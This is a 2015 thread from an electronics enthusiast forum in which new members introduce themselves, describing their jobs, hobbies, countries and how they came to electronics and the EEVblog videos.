I now have a job as a computer tech so if you have a question feel free to ask. I also am a main person in a local to Missoula (for now) program named Laptops For Students (relaptops.org) We take in old or unwanted laptops, fix them up, put an OS and a Microsoft Office compatible program on them, and give them away for free to local students :)

I can code in HTML (website code) but not anything else :( but looking to change that :) .

That is most of my story I guess.

Justin_
P.S. My spelling SUCKS (YAY spellcheck)
Title: Re: New Member, Please introduce yourself
Post by: alexanderbrevig on March 31, 2015, 09:33:01 am
Did not know about this thread so I'll post since I'm still new :)

I'm a musician at heart, programmer in mind, I love to cook and I'm currently challenged by learning electronics "for real".
I got started in circuit bending when I was little (modding RC cars to create remote pannable fans etc) but it dabbed off as I got into robotics via Lego Mindstorms.
In 2009 I was a regular contributor to the Arduino community (AlphaBeta on forums, and I have about 40 libraries for hardware abstraction).

Now I'm a core member of Wiring (I switched camps when I learned about the history between the two).
I work for http://wice.no (http://wice.no) as CTO and the only developer (both hardware and software).

I'm thrilled that I've discovered yet another passion in electronics!
Eevblog has been one of the reasons I still use youtube for about two years.
Title: Re: New Member, Please introduce yourself
Post by: LPaul on March 31, 2015, 12:44:24 pm
Hi, I'm Paul a 19 years old french student (to prepare business school competitive exams).

For as long as I can remember, I've always been building (*/breaking) stuff at my parent shop. I'm a hobbyist programmer for quite some time now and try to get seriously into electronics.

Title: Re: New Member, Please introduce yourself
Post by: ManicMaurice on April 02, 2015, 02:07:58 am
Hi everyone. :)

My name is Nick and I am a theater technician, live audio engineer, and production manager. Playing with electronics is a hobby. I love DIYing specialized devices to solve a problem. I'm also a huge nerd and I love video games, photography, graphic design, computer programming, industrial design, electrical engineering, economics, playing guitar, candle lit dinners, and long walks on the beach.

I am extremely happy that I found this forum. The members seem super friendly and very knowledgeable.  :-+
Title: Re: New Member, Please introduce yourself
Post by: dcervant on April 04, 2015, 04:05:13 pm
Hello, I'm David . I visit this forum frequently I hope i can help. I like electronics since i was a child. ^-^
Title: Re: New Member, Please introduce yourself
Post by: noexperience on April 04, 2015, 09:10:36 pm
Hello, my name is Gregg.  I live in the USA and I'm employed as a Senior Network Manager.  I have built several tube amps and effect pedals for my guitars and lately my interest in electronics has been growing into something more modern, but for guitar, tubes forever!  Self study is my thing, I find this a great challenge.  Not planning on breaking out of the hobbyist level, but after reading quite a few of the posts here, I can see this site will be a great learning tool as the knowledge level is unbelievable.  :D
Title: Re: New Member, Please introduce yourself
Post by: skeld on April 06, 2015, 12:36:13 am
Hi, I'm Tony from the USA. I've been a tinkerer since I was a boy back in the 80s. Since then I've gotten into no end of trouble by taking things apart to see how they work and mostly putting them back together again (sometimes finding ways to reduce the BOM along the way) ;D Currently, I'm a systems engineer with National Geographic.
Title: Re: New Member, Please introduce yourself
Post by: animoose on April 13, 2015, 03:05:02 am
Hi, I'm David, originally from the UK but now living in Los Angeles. In my day job, I'm a software engineer and have been for 30 years. I started doing hobbyist electronics as a teenager in the 70s, graduated in EE, and worked initially as a hardware designer on embedded systems, before somehow switching to software. I returned to playing with circuits recently as a hobby with more engineering skills and disposable income than I had in the 70s, but much less ability to see teeny tiny components. See moosteria.blogspot.com for my ramblings on the subject.
Title: Re: New Member, Please introduce yourself
Post by: dadebonz on April 13, 2015, 02:43:01 pm
Hi Ya'll; My name is John and live close to Raleigh NC USA. I have been an electronics Technician for 30 yrs. A graduate from Devy tech in Woodbridge NJ. I am currently disabled and supplement my income buy buying cellphones on ebay,repairing them and reselling them. I am a former US Marine where I worked on radar systems which got me interested in electronics.
Love the EEVblog!
Title: Re: New Member, Please introduce yourself
Post by: atos on April 14, 2015, 02:11:41 am
Hi, pre retired Swede here.
Broad spectrum of knowledge but barely any in the form of a degree, I consider those something our society enforce as a means to uphold inequality and self esteem among the population, but because of my of state I suppose I am somewhat biased. Personally have a firm belief that anyone can accomplish anything as long as they have enough interest and motivation in doing so with or without academic merits. I do enjoy self studies for this reason, mainly because my ventures into the academic field taught me to absolutely loathe knowledge that has no real world application like just learning something to move on and then forget it. But I find myself in the constant struggle of keeping an open mind and keep up with new stuff.

Was an aspiring electrician twice, got dismissed because I was too through and neat in the field, which is strange in it's own way.
I suppose I'll attempt to grab a degree in EE at some point, but the real reason for that would be to have an excuse to hang out with people afk, which I seldom do.

Spending my days doing stuff I find enjoyable which boils down to hacking, repurposing stuff, dumpster diving, various research and building stuff. Also play acoustic guitar since 13 years back, I guess that the latter is my only real merit even though I barely took any classes there either.

I guess at the time of writing, I'm also looking for a date. But finding a suitable matching and attractive exterior combined with a geeky personality in a female is indefinitely small value like /0, which I believe at least some should be able to confirm, lol. Social science is a whole other area.

Makes me look forward to androids which undoubtedly has to be like the holy grail of technology and porn.

Anyway, hrm. Questions? Send a PM.
Title: Re: New Member, Please introduce yourself
Post by: UConn94 on April 14, 2015, 10:10:00 pm
20 year EE, started in US Navy as Electronic Tech, then BSEE,MSEE at UConn (Go UConn Huskies!).  Complex circuit board designs, OrCAD,  FPGA/CPLD using mixed VHDL/Schematic Capture, LabVIEW, PIC, ADC/DAC, analog, digital, computer interfacing.  After hours - golf! Bass guitar, woodworking, ham radio.  New personal project - development of a large scale logic analyzer, inspired by Intronix Logicport, nice unit, but only 34 channels, and the software can be not so intuitive.  I came here by purposeful accident, a search for reviews on Rigol digital scopes, and looked a a great forum to be a part of.

Title: Re: New Member, Please introduce yourself
Post by: Marlon on April 14, 2015, 10:55:43 pm
Hello,

I'm Marlon, 28 from the UK, I have a masters in software engineering. Not much clue about electronics I'm afriad but I've been watching the odd youtube video even though I don't really understand it - something might sink in eventually.

Title: Re: New Member, Please introduce yourself
Post by: JDS on April 15, 2015, 12:59:12 am
Hi,   The names John (JDS).

I'm a retired software engineer currently living in the US.  Although originally from Canada, I have worked in many countries and in many fields.  Now that I have a little time and money to spare (THANK YOU AMERICA),  I have decided to pursue my first love, which was electrical engineering.  Dusting off my old DMM I did a web search on how to recalibrate it.  That's how I ended up at this site.  Love the forum, the YouTube Vids, and the characters that seem to hang out here.  I also Look forward to meeting everyone and becoming part of the community.
Title: Re: New Member, Please introduce yourself
Post by: MCRodrigues on April 15, 2015, 02:02:30 am
Hello from Portugal, name is Miguel Rodrigues.

I am 25 Years old. and I'm finishing my graduation in computer engineering. Right now I am doing the course internship. I'm an electronics and embedded systems hobbyist. Got most of this passion after completing the UTexas Embedded systems course from edX and, of course seeing those videos made by that crazy aussie bloke...  O0
Right now I'm restoring an old HP 180AR oscilloscope. Hope make it work or else...  :-BROKE It would be a very valuable tool if I want to get into embedded systems into the next level.

Best regards!
Title: Mohammed M. Shakir
Post by: MMDuino on April 16, 2015, 12:59:18 pm
Hello L & G, I'm Mohammed from Iraq, Civil Engineer - (Because; my father was prefer that) :clap:

Actually, i've been affected by the electronics disease when i was in 11 years old, i started tear down electronics stuff that were belonging to my Father, and When I was in 17 years old, there was nothing left (electronic devices) working properly in my home, the reason it was; i've been already disassemble it ..., so, now i'm here trying to find out what can i gain from your brilliant experiences,,,, to stop tear down things and start build useful things...lol

My Warm Regards for everyone here...and especially for Great Dave...
Title: Re: New Member, Please introduce yourself
Post by: Annakin4 on April 18, 2015, 11:24:42 pm
My name is Samuel, I live in Maine (US), and I am a student at Thornton Academy high school actually doing private work for one of the teachers there. I broke a 3D printer at school and the teacher in charge was impressed when I was fixing it, that I showed him some electrical engineering work I did for another teacher. So now I have a summer full-time job doing what I love!
Title: Re: New Member, Please introduce yourself
Post by: Tz. on April 19, 2015, 04:52:45 am
Hey everyone, My name is Steve and I'm from Colorado.. I do a lot of computer work and have learned electronics on my own for the most part, now I am wanting to dig deeper into the subject..

Been following this forum for awhile, so it is nice to join..

-Steve
Title: Re: New Member, Please introduce yourself
Post by: DjMikiRia on April 19, 2015, 02:22:44 pm
Hello,
My name is Miki and my interest in electronics is related to music as well as power supplies and inverters. I have built several standard H supplies as well as my own record lathe. I wanted one but could not afford one so I made it from a page scanner (for the lathe arm), car audio amplifier and cassette player.
https://www.youtube.com/watch?v=_5xjY9jZNms# (https://www.youtube.com/watch?v=_5xjY9jZNms#)
Title: Re: New Member, Please introduce yourself
Post by: jim_griff on April 19, 2015, 03:26:32 pm
Hello,
My name is Miki and my interest in electronics is related to music as well as power supplies and inverters. I have built several standard H supplies as well as my own record lathe. I wanted one but could not afford one so I made it from a page scanner (for the lathe arm), car audio amplifier and cassette player.
https://www.youtube.com/watch?v=_5xjY9jZNms# (https://www.youtube.com/watch?v=_5xjY9jZNms#)

That's so awesome! I want one as well for my own vinyl mastering, but don't have the knowledge or expertise in electronics to make one.

P.S. Welcome to the forum, Miki.
Title: Re: New Member, Please introduce yourself
Post by: Vgkid on April 19, 2015, 11:50:05 pm
That is very cool, and welcome to the forum. Congrats.
Title: Re: New Member, Please introduce yourself
Post by: xcoder on April 20, 2015, 12:31:30 pm
hi im yassine from morocco i repair electronics for living

here is pic of my lab (http://i58.tinypic.com/nd2zjn.jpg)
Title: Re: New Member, Please introduce yourself
Post by: jct on April 22, 2015, 08:33:08 am
I'm a long time lurker and decided to join. I'm currently based in South Africa, but spends a lot of time in China and Europe as a freelance product developer/designer.
Title: Re: New Member, Please introduce yourself
Post by: broderp on April 28, 2015, 03:08:49 am
My name is Raymond, I live in Ohio (USA).  I'm a 45 year old with an AAS degree. I work as a field engineer (read: glorified technician  ::) ) but have several years working as an engineering tech since graduating in 1996.  Family and life happened before I was able to finish my BS.  Was about 3 years into my BS or my EE degree.

I'm wanting go get back into electronics and projects as a hobby.  I love designing and building, testing and repairing circuits.  I have designed some basic test equipment for our field service organization, but my primary job today is troubleshooting and diagnosing electrical and mechanical issues on our equipment.  I also work close with the Engineering team in regards to service documentation and service readiness on new equipment.  It really sound much better than what it is..lol  :-[

I know enough to get me into trouble, as well as the best way to get out of it....usually ^-^
Title: Re: New Member, Please introduce yourself
Post by: V8Dieselpower on April 30, 2015, 06:43:20 pm
Hi, names Simon am 47 and live in SW Scotland.

Served a 4 year MOD electrical and electronic apprenticeship 85-89 then spent the next 16 years working on torpedos :=\ .
Left the MOD and have been working on access equipment ever since.

My hobbies get me into a lot of trouble, mainly with my wife :rant: and they include restoring vintage plant and machinery, mainly generators, engines and tractors. Building my offroader which is a mil spec Chevy Blazer M1009 hence the user name. Stock car racing, check out racewall on youtube, and playing with 11 meter radios, CB's to most people.

I'm just setting up my radio shack and hideaway now the kids have all moved out and we have room again :-+ :-DD
Title: Re: New Member, Please introduce yourself
Post by: cdyrssen on May 07, 2015, 08:31:06 am
Hello everyone! I am currently a computer engineer student at Texas Tech University in Lubbock, TX. My experience with electronics has been fairly limited until lately (due to actually studying the field now). I am a Junior and will hopefully be starting to work on an a campus research project this coming semester. Hobbies include woodworking, video games, and music(both playing and listening).
Title: Re: New Member, Please introduce yourself
Post by: ReboundBLC on May 07, 2015, 12:59:32 pm
Hi, I'm Ben from Hull, UK, I have 15 years' experience dealing in OEM Excess and surplus electronic components.
Title: Re: New Member, Please introduce yourself
Post by: GodOfVolts on May 12, 2015, 01:37:00 am
Im 12 and i LOOOOVE ELETRONICS I LOVEE BUILDING STUFF I LUVV SOLDERING STUFFZ I LUV EEVBLOG
Title: Re: New Member, Please introduce yourself
Post by: timofonic on May 12, 2015, 12:36:16 pm
Im 12 and i LOOOOVE ELETRONICS I LOVEE BUILDING STUFF I LUVV SOLDERING STUFFZ I LUV EEVBLOG
!!!!!!!1111111oneoneone

Are you using AOL translator?

It's great you love electronics,  you should love a bit more the language too.

I'm sure you're trolling...
Title: Re: New Member, Please introduce yourself
Post by: twobeseen on May 13, 2015, 07:50:20 pm
Hi there, I am Bernd (yes thats really my first name  8)) and I am from Frankonia (a part of Bavaria), Germany.

Got my EE diploma several years ago in 2009 and I am currently working as an hardware design engineer for a well known big german company with a capital S that makes all sorts of industrial electronic, trains, power plants and more.

I am all in industrial standard hardware design with digital and analog parts but like in all big companies most of the time I am working with papers and stuff and lead R&D projects.

I came across EEVBlog when I looked for new bench DMMs and stumbled in the Keysight 34461A review and takedown. Since then I am learning very much through looking fine youtube videos of Dave and others....
Title: Re: New Member, Please introduce yourself
Post by: inteljoe on May 17, 2015, 02:33:41 am
Hi, my name is Joe and this is my 1st post here and I thought it was only proper to introduce myself...

I started watching the EEVblog and lurking the forums last year. I'm jealous of the "electronics workbench" thread. It's like looking at EE porn (pardon the crude reference).

I'm still "getting back into" electronics engineering and I am very much the amateur. I've been buying equipment, tools and stocking my component drawers over the last year. I'm currently designing my own variable linear power supply and I've got several other test gear related projects in mind.

Anyway... Looking forward to my journey of learning, asking questions, hopefully sharing my own projects and ideas, and otherwise enjoying the forums/EEVblog.
Title: Re: New Member, Please introduce yourself
Post by: jhufford on May 17, 2015, 10:33:59 pm
I haven't posted in this thread yet, so here goes.

My name is Joe as well, I live in Montana, USA. I started programming as a teenager and then did a bachelors in Computer Engineering. My day job is kind of a mixture of hardware and software, but mostly programming software running on PC's. I do a smattering of different projects at home though, from battery powered microcontroller stuff (PICs) to high voltage stuff with flyback transformers (who doesn't love to see lots of purple corona?). I really love where the physical world meets the digital world. I'm in the process of trying to set up a decent home lab. A cheap multimeter and cellphone/laptop chargers for power supplies isn't cutting it anymore. I also spend too much time studying mathematics and physics, math isn't my forte but I enjoy it.

I find the teardown videos to be particularly good. I've learned so much about the various practical aspects of engineering a product that you don't find in the text books. Thanks Dave!
Title: Re: New Member, Please introduce yourself
Post by: Asmyldof on May 19, 2015, 08:51:46 pm
Hiyas!

I joined a bit ago, just before I left for Lao, back now.
I joined because I had decided to send Dave a package and just when I'm back at work I hear Dave try to pronounce my name, look up and see my black-tape box being slaughtered.

So, good reminder to get my behind back onto the forums.

I'm Robert van Ljeeeeuueeeueueewen as Dave made it sound ;-) (Mailbag #745).
Known as Asmyldof in many corners of the web.

I'm an Hobbyist first, professional second. Not because I'm particularly bad at my EE/Software/Mechanics work, but because I started playing with Hardware, Software, Machanics and just generally the world around me near my 6th year, so I'm much more experienced in doing it for fun ;-). (32 now)

I'm a Freelancer who got netted by a payroll follow up to a recent project. Next to solving strange problems, puzzling out causes and all other such I do some scouring the known world for new things to try or play with.
I've been listening to and watching Dave for a long while now while working and only just decided to progress beyond the pick-and-choose YouTube layer into this forum.
Title: Re: New Member, Please introduce yourself
Post by: Karamel on May 20, 2015, 10:37:37 pm
Hi, I am Karamel(as you know caramel) I am from Turkey. at the moment, i am attending high school and I intelligent in with electronics, physics and mathematics. a few minites ago, i have found here! and i am happy : O0 i am sure that, we will speak so much in next term :) have a nice day.
Title: Re: New Member, Please introduce yourself
Post by: mwd on May 24, 2015, 10:54:24 am
Hi All,

Just signed up. I'm in Sydney, Australia and have been watching the youtube channel for the last couple of weeks and thought it was about time I signed up.

Previously I've been into Networking/IT/Programming/Business Automation but recently got interested in electronics. I started off a couple of years ago with a pair of Netduino's and have since built a bunch of little devices. I've decided to move on to arduino devices due to better Mac OS support, lower cost, power requirements etc and just built my first temp/light sensor module for my office.

I've got some graphs here:
http://michaeldale.com.au/netduino/index.php?sensor_id=2 (http://michaeldale.com.au/netduino/index.php?sensor_id=2)

Plan to do more in future :)

Title: Re: New Member, Please introduce yourself
Post by: tawfiq on May 25, 2015, 08:36:28 pm
Hello, I am Tawfiq from Bangladesh. I am a broadcat engineer, I design TV studio facility. I have been working with broadcasting gears for last 20+ years, I started as a electronic hobbyist when I was 6 back in eary 80's. I started coding when I was 10, my first computer was Sinclair ZX Spectram. I'm new here, love Dave's videos, loving it here.
Title: Re: New Member, Please introduce yourself
Post by: Kemme on May 27, 2015, 09:49:17 pm
Hello everyone

My real name's Arek. From Poland.
I've been watching Dave's youtube channel for a long time and I finally created an account here. I don't regret it at all since it's probably the biggest piece of electronic information on the web.

Well I can consider myself average at everything - electronics, mechanics, programming, IT stuff. I hope to become good at something... maybe one day.
Title: Re: New Member, Please introduce yourself
Post by: wertyq on May 29, 2015, 03:43:14 pm
Hello everyone!
I Mike, I live in NY , studying in school and hate write essay, its hard for me
Can you help me ?
Because my friend adviced me site to easy writting http://www.customessays.co.uk/essay_writer (http://www.customessays.co.uk/essay_writer)
but I dont believe him :phew:
Title: Re: New Member, Please introduce yourself
Post by: Throy on May 29, 2015, 03:55:44 pm
Hi everyone.  My name is Jack.  I've been reading the forums for the past couple of months and decided it was time to register. ;)

I'm from the US but am currently living and working in Germany as an EE.  Got my diploma in 2007 and my first job was programming PLCs.  That wasn't my thing and got a job designing hardware and software for industrial trucks, cranes, and firetrucks.  Now I'm working for a company here in Germany, also designing hardware and software, that develops devices to monitor IT networks (voltage, current, frequency, isolation, etc...)
Title: Re: New Member, Please introduce yourself
Post by: Kowalski on June 01, 2015, 01:34:53 am
Hello! Kowalski here.

I've been into hobby electronics/"Making" since I was 12, and now at age 18 I'm working on making a career out of it. This year I will begin working towards an AES Degree at a local community college and then transferring into a "real" university for my EE bachelor. To help pay for my schooling I'm currently working at a server computer manufacturing company as an assembly technician, which is good handy-skills practice.

I'm a huge fan of the EEVBlog and I'm hoping to get active on this forum. Look forward to chatting with you all soon!
Title: Re: New Member, Please introduce yourself
Post by: abebarker on June 01, 2015, 08:11:45 am
Hello everyone,
My name is Abraham but please just call me Abe. For the moment I am stuck in Utah in the united States. I am desperately trying to get out of here because I can't stand religion but that is a whole other story.

I have always been interested in electronics. I'm sure I got it from my father. He had several jobs in the electronics industry, starting with Tektronix in Portland (where I was born). In fact his mother, my grandmother, worked at Tektronix for quite a while. My father also got us started in Amateur Radio. I received my Novice and Tech licenses on my twelfth birthday (KB7FQS).

My mothers father was a professor at the University of Oregon and got me interested in Nikola Tesla when I was about five. When I turned 16 he gave me some books on Tesla including his research and writings and I have read them cover to cover and tried to comprehend every principal put forward.

I've done a bit of programming, worked at an ISP for a while and continue to build electronic devices in my spare time. I love the EEVBlog and have learned quite a few things from it.
Title: Re: New Member, Please introduce yourself
Post by: Kamiomi on June 02, 2015, 12:53:25 pm
KAMIOMI IN DA PLACE !!!

Well, in fact, my name isn't really kamiomi. I'm a student in electrical engineering in Algeria (2nd year). First, it was by obligation, but as the time passes, I enjoy it more and more. Problem : university isn't really the perfect place to discover practical matters, so I'll have to do it all by myself, and it's a bit sad for someone to work all by himself, so I decided join here. Hope i'll get good guidance here.
Title: Re: New Member, Please introduce yourself
Post by: nickn4 on June 02, 2015, 07:32:02 pm
Hello everyone,

I'm nick, 21 years old, an student in mechatronics and hobbyist prototyper. I've been experimenting with electronics for about 5 years now.
I like sports such as tennis, skydiving, climbing, RC helicopter sport and fitness. other big interests of mine are my family and my cat called Nova.

I'm from Holland and have a really rough period behind me where i have been homeless due to errors of my "municipality" (translated it, don't know if that's the right word actually dutch:"Gemeente") and them taking a while to get me and my family back to normal civilization. I lost allot of my old stuffs, friends, and my old school had been lost in the process, and that's why i am building up my live again from scratch.

I love learning and have always been a bright student, i am starting/resuming my education now and also picking up my beloved hobby of Mechatronics (prototyping/making things i want).

EEVblog has been a really great support for me in the past and i have been watching Dave's video's on YT about 2 years and learned ALOT from him (more than school can within the same timeframe)
so today when i wanted to start a new project i came across a hard realization, i just NEED an oscilloscope, i have a low budget and Dave suggested ebay in his video to get a cheap 2nd hand analog 20mhz there, but i cant stop being fishy about that site, its just not trustworthy and decided to join eevblog forum and ask for advice. (don't respond to this, ill make a new thread, this is just the story how i came to joining eevblog forums :D)

well i guess that's basically it for now.

thanks for having me and reading all that.

greetings

nick janse

PS: language is my worst side, sorry :P
Title: Re: New Member, Please introduce yourself
Post by: Darkvader on June 03, 2015, 06:16:49 am
Hi, nice to meet you all :)

I'm David, a 22 year old guy that's always had an interest in anything technical. My grandfather who was an engineer in the RAF taught me how to solder when i was about 8 and ever since I've had an electronics bug that i just can't get enough of.
That being said I don't really do a lot currently, I've never had much luck in the past and I live in a really bad area for doing anything technical or scientific, so i never got chance to go into a university placement for a technical subject, regardless of how interested i am in technology. so I'm here trying to build my electronics "bug" into something i can live off :) (here's hoping anyway!)

When i was 11 I hit a rough patch in my life and my health took a turn for the worst and I stopped being able to leave the house, even going to school stopped being an option so in its stead i ended up building my first PC, and learning all i could about Computers and technology as a whole. which has lead to me coming onto this forum and doing electronics :)

Currently on my workbench is a Vectrex that doesn't seem to function right, there's no display or sound and i'm still not sure if i can get it to boot, however i do have a system clock and the main logic board does get all the right voltages. I also have a little project to build a Sega Master System Flash cartridge from scratch just because i can.

Quote from: nickn4
I'm from Holland and have a really rough period behind me where i have been homeless due to errors of my "municipality" (translated it, don't know if that's the right word actually dutch:"Gemeente") and them taking a while to get me and my family back to normal civilization. I lost allot of my old stuffs, friends, and my old school had been lost in the process, and that's why i am building up my live again from scratch.

Hi Nick! :) you sound very similar to myself! my life hasn't been easy either, where i live there's a huge deficit in basically everything you could imagine, from work to education and it's still affecting me now. I do hope things get easier for you! :)

Quote
PS: language is my worst side, sorry :P

Your English is excellent!, I'm sure you speak better English than some native speakers do :)

David~
Title: Re: New Member, Please introduce yourself
Post by: afm on June 04, 2015, 01:52:13 pm
Hello everyone

My real name Antonio. I  live in  Portugal.

I work in electronic 38 years a go, work in old factory Grundig, and in some electronic chops in USA



Regards
Title: Re: New Member, Please introduce yourself
Post by: jerry11 on June 04, 2015, 11:34:39 pm
Hello all.  Jerry here. 

I come from Los Angeles, CA.  I am an electronics novice.  I have built loudspeakers and a small tube amp.  My only electronics education was as a young teen with a Radio Shack 64 in one or kit. (before microprocessors were included).
I have been reading these forums and watching the videos for a while.  I just now registered, as I am going to purchase one of the Rigol DS1054Z scopes and wanted to receive the discount code.  I know, kinda shallow, but I am just a tinkerer, and never had anything to add to a discussion that was as good as previous comments.

Title: Re: New Member, Please introduce yourself
Post by: AceOfJohn on June 05, 2015, 08:01:53 am
Hi.
I'm John from England. I'm new to electronics and found Dave's channel when I was looking for SMD soldering videos. I'm teaching myself, so its gonna be a long ride. I'm interested in logic circuits and robots. I program a little  (been programming from the age of 7) i understand logic and Boolean algebra, state machines and stuff like that.  I've ordered some shift registers, atmega32's some 16 bit PWM 'registers' some demultiplexers , an auduino, and stuff like that. time to make some cool logic based circuits. BIG THANK YOU to Dave, (my favorite Ozzy since Kylie) for the hard work hes put into EEVBlog.
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Post by: jayant_b on June 07, 2015, 11:45:41 am
Hi friends, I am Jayant from India, a final year electronics engineering student. I love to play around electronic circuits and DIY projects. I recently started working on Arduino and looking forward to develop some interesting stuffs with it.
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Post by: onearyf on June 09, 2015, 03:12:26 am
hello everyone.

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Title: Re: New Member, Please introduce yourself
Post by: onearyf on June 09, 2015, 03:37:37 am
i am from malaysia. as far as i could remember, my first electronic stuff that i hacked is a ham radio, that, when i was 12 years old in 1996.

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Title: Re: New Member, Please introduce yourself
Post by: gadgetjunkie on June 09, 2015, 07:57:29 pm
Hi guys,

My name is Mike, and I live in Wilmington, Delaware on the East coast of the US.  I've been a programmer for the last 25 years, but have been bitten by the electronic bug.
I've been studying electronics on my own, and at the local community college for the last 5-10 years.  I've watched all of the EEVBlog episodes, and finally decided to sign up for the forum. 

I look forward to learning even more from the community...
Title: Re: New Member, Please introduce yourself
Post by: trodas on June 10, 2015, 06:05:36 pm
Hi guys, trodas are there :) Working with computers since 1990, doing electronic before and after... well, you get the idea :)
Attracted by the thread about changing GTX 690 to Quadro K5000  ^-^

Stunning job.

I mostly do some recaps, little repairs and mods... this was kinda out of my legue, but I hope I can contribute some good mods too! Cheers to all!
Title: Re: New Member, Please introduce yourself
Post by: mythosmc on June 20, 2015, 08:41:11 pm
Been a PC nerd since I got my first computer in kindergarden.. good old Gateway2000 Had to get the math coprocessor upgrade! =)

Tinkered with electronics all my life, studied EE... currently in the network engineering field

I still do like to play with my micros though !
Title: Re: New Member, Please introduce yourself
Post by: Zman on June 21, 2015, 03:29:49 am
Hello, everyone!

I am new to this forum. just registered :)
I live east of Melbourne, VIC (less than a kilometer from Jaycar shop :D ) and work as an Electronics Engineer.

I know a little bit of everything, both hardware and software development, soldered my first PCB around 1982.
sold my first HW+SW project in 1986 :-)

...still learning stuff anyway :-)

Title: Re: New Member, Please introduce yourself
Post by: Julian Jameson on June 21, 2015, 06:49:16 pm
Hi guys,

I'm Julian, I live in Nova Scotia, Canada and I'm a Brit (originally from England).

I used to program video games (always assembly language). Gave that up, moved to Canada 10 years ago then got flattened by 35,000kg worth of truck, 5 years ago. Went back to school to study electronics. Got the solar bug. Developed a control system for solar air heaters. Ran a couple of Kickstarter campaigns and started a company to manufacture and sell the control system.

And I recently wrote an Android app. The app uses the light meter on the phone/tablet to estimate the current level of solar irradiance, I think I might be the first person to have achieved this?!

Anyway, I've had my head stuck in the sand for the last few years. I thought it's probably about time that I started talking to electronics people and programmers, again. I often listen to Dave's videos when I'm working. I sent him an email the other day and he actually replied! Top bloke!

I wanted to convince him to take another look at solar air heating... he's not up for it, but I'm hopeful to get some conversations started on here to, at least, generate more awareness of this undeveloped area of the solar tech market place.
Title: Re: New Member, Please introduce yourself
Post by: anton74 on June 23, 2015, 05:06:03 pm
Hi all,

I am Anton from Israel.  I am a scientist (biologist) and work a lot with the electronics, mainly analog (amplifiers, electrical stimulators, etc) but also play with microcontrollers (AVR, Arduino).  I have no formal education in electronics but actually yinkering with it since the age of 10. 

Anton.
Title: Re: New Member, Please introduce yourself
Post by: Rmx77 on June 24, 2015, 10:57:10 am
hello there all, i'm derrick and i  am from washington state in the usa and i happen to be into building computers and networking and also am into audio production and video production mostly as a hobby. my facebook is www.facebook.com/onelonelygoth (http://www.facebook.com/onelonelygoth)
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Post by: kdpainter on June 24, 2015, 11:03:21 pm
Hello all, My name is Kelly and I have been an electrical engineer for 27 years now.  I have been reading EEVBlog for years but just joined hoping to get a discount code from tequipment  :)

I have done a lot of things in my career.  I started as an analog and RF guy and migrated into DSP on FPGAs.
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Post by: KineticIsEpic on June 27, 2015, 11:26:14 pm
Hello everybody, I love comic sans! xd
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Post by: Tim T on June 28, 2015, 02:02:42 am
You might be able to guess my age by hearing my first computer was a Timex/Sinclair zx81. Thing used to overheat, hated the membrane keyboard, but learned a lot. Still have it.

Started to play with arduinos this year to learn some basic electronics.

tim
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Post by: miguelvp on June 28, 2015, 05:11:00 am
Hello everybody, I love comic sans! xd

You don't want to know what the poor contrast made me read! Well, I guess I'll tell you (or hint it) anyways.

didn't see the "comic" part at all and the "sans! xd" read to me as: *nal s*x
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Post by: miguelvp on June 28, 2015, 05:12:10 am
You might be able to guess my age by hearing my first computer was a Timex/Sinclair zx81. Thing used to overheat, hated the membrane keyboard, but learned a lot. Still have it.

Started to play with arduinos this year to learn some basic electronics.

tim

Mine was a Sinclair ZX81 as well :)
Title: Re: New Member, Please introduce yourself
Post by: kosmonooit on June 28, 2015, 08:04:21 pm
Hello all, also EE here, been distracted most of my career with the IT Industry,  now working for and by my good self, doing all aspects of hybrid Alt Energy solutions, very appropriate here in South Africa now given the one & only supplier of electricity is unable to deliver (to put it mildly),  3rd world here we come ....

My forte's is really s/w eng and digital electronics but getting back into the analog stuph, mainly sensing for my Arduino based energy controllers (open source all the way bby)  so that's how I chanced up the EEVlog  tutorials on You Tube (Note to self:  I really need to rewatch that Op Amp tut again), been working my way through the archives.

Also getting licensed to do my own Mains electrical work and certification, and been kitting out with  (used) Fluke test equipment via ebay, states side, works out a fraction of the list prices here.  Yes, brand loyalty! I have had my  Fluke 73 for 30 years now. although I do have a soft spot  for HP (Agilent or whatever), in fact it was my ambition to go and work for them, but they only  did Sales in this part of the world. my HP 41CV stopped working a while back, at least I found a decent Android app emulator for my Note.

Thanks Dave for all the great vids, and speak to ya all soon.

btw,  I don't think my eyes ever recovered from staring long and hard at that small (borrowed) B&W TV I used a VDU  on my Sinclair ZX81, writing App Maths code in Basic. 


Title: Re: New Member, Please introduce yourself
Post by: decaying.sine on June 30, 2015, 12:50:22 am
Hi Folks.
Just signed up to this great looking forum. I build and play music synthesizers, and play around with software like Diptrace to learn about circuits and design. Glad to be here.  :)

Brian
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Post by: paulp on June 30, 2015, 02:23:42 am
Hi all

Originally from Perth west Aus, now in Oregon for the last 8 years. did the first 2 years of BE EE @ Curtin uni b4 a family tragedy made me quit. REally miss Silicon chip mag and jaycar/altronics cattle dog (if anyone in the us know something similar in the US let me know). I'm into repairing Pinballs,arcades and the "light bulb" project

P
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Post by: paulp on June 30, 2015, 02:29:14 am
oh yeh forgot to say GO the mighty WEST COAST EAGLES...;)
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Post by: vk6zgo on June 30, 2015, 07:11:00 am
oh yeh forgot to say GO the mighty WEST COAST EAGLES...;)

Nice to see you here----------FREO!,FREO!,FREO! ;D

Shiver,Victorians!
Title: Re: New Member, Please introduce yourself
Post by: xelepi on July 02, 2015, 03:34:29 am
Hi all,

My name is Curtis and I got my degree in electronics 16 years ago but I haven't utilized it like I should have. My career took me in another direction, computers and customer service.

I've always been into electronics and decided to refresh my memory and start building circuits again. This looks like a great forum with allot of information.
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Post by: Fawkes on July 07, 2015, 12:13:44 pm
Hello Everyone,

I am Santhosh, from India. I completed my under graduation in Electronics and Communication Engineering and currently working as a Hardware design Engineer for a year and a half. At work, I design Cameras right from their logic design till product completion and occasionally design some High speed circuits.

And now lately, RF circuits and Antenna designing fascinates me. Looking forward to learn some amazing stuff from this fantastic forum.


Cheers.
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Post by: Jesset1996.5 on July 09, 2015, 07:30:45 pm
Hello everyone!  Im Jesse Trimble from new boston Michigan,  usa.   Im currently a student of baker college of ann arbor michigan. Im  working on getting my degree in information technology. Computers and electronics have always been my passion. I do some building but not much since i dont have a degree in electronic engineering. I mainly repair or revers engineer things! On occasion i like to tinker!  Cheers! 
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Post by: k4rlhp on July 10, 2015, 01:40:18 pm
Hi.
Short datasheet
Karl, IT background since mid 80's, first "serious electronics project" in mid 90's related to viewing Sat tv...
I live in Estonia. What's that useful for, you say? if Dave wants a .ee domain for EEVblog then I'm certainly willing to help out. That seems like the missing piece in the EEVblog puzzle, doesn't it? ;)

